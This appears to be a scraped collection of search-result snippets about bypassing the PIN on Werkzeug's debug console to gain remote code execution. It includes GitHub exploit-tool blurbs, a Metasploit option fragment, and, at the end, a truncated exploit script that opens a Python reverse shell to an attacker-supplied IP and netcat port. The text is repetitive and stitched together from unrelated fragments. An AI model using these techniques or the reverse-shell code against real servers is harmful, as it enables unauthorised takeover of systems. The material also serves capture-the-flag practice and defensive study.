Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-console-bypass

As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin.

By exploiting the path traversal vulnerability and gathering system information, we successfully generate the debug pin required to access the Werkzeug debugger console remotely.

2 days ago - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell ...

As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin.

October 8, 2022 - We can get foothold by generating the console PIN using the exploit from here · https://github.com/wdahlenburg/werkzeug-debug-console-bypass ·

Write-up explains the purpose of the exploit and what I thought could be added to retrieve information from the victim's machine. Github Page: https://github.com/grav3m1nd-byte/werkzeug-pin/ Yet another Werkzeug Console Pin Exploit Explanation.

Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-console-b...

Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-conso...

It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - werkzeug-debug-console-bypass/werkzeug-pin-bypass.py at main · wdahlenburg/werkzeug-debug-console-bypass

print(info_message('Searching for the Werkzeug console ...')) · url = 'http://ptl-e7e6b59c-ecd77b90.libcurl.so/console' resp = requests.get(url) if resp.status_code != 200: print(error_message('Ouups something goes wrong')) sys.exit(1) ·

Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.

OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']), ... "application developer, in which case generating the pin won't work, but if you" \ 'have path traversal, you may be able to retrieve this pin by reading the ' \ 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \ 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil

November 10, 2024 - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell ...

Generates all possible PIN combinations! Contribute to StillNoob/Werkzeug-Console-PIN-Cracker development by creating an account on GitHub.

September 30, 2021 - Locate vulnerable Werkzeug debug console at path vulnerable-site.com/console, but is locked by secret PIN number. You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug __init__.py file on server e.g. ...

It may be necessary to set this ... before the request is passed to the application. Determines which algorithm the exploit module will use to generate a pin and cookie....

_pin_cookie: str · · def __init__( self, app: WSGIApplication, evalex: bool = False, request_key: str = "werkzeug.request", console_path: str = "/console", console_init_func: t.Callable[[], dict[str, t.Any]] | None = None, show_hidden_frames: bool = False, pin_security: bool = True, pin_logging: bool = True, ) -> None: if not console_init_func: console_init_func = None ·

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%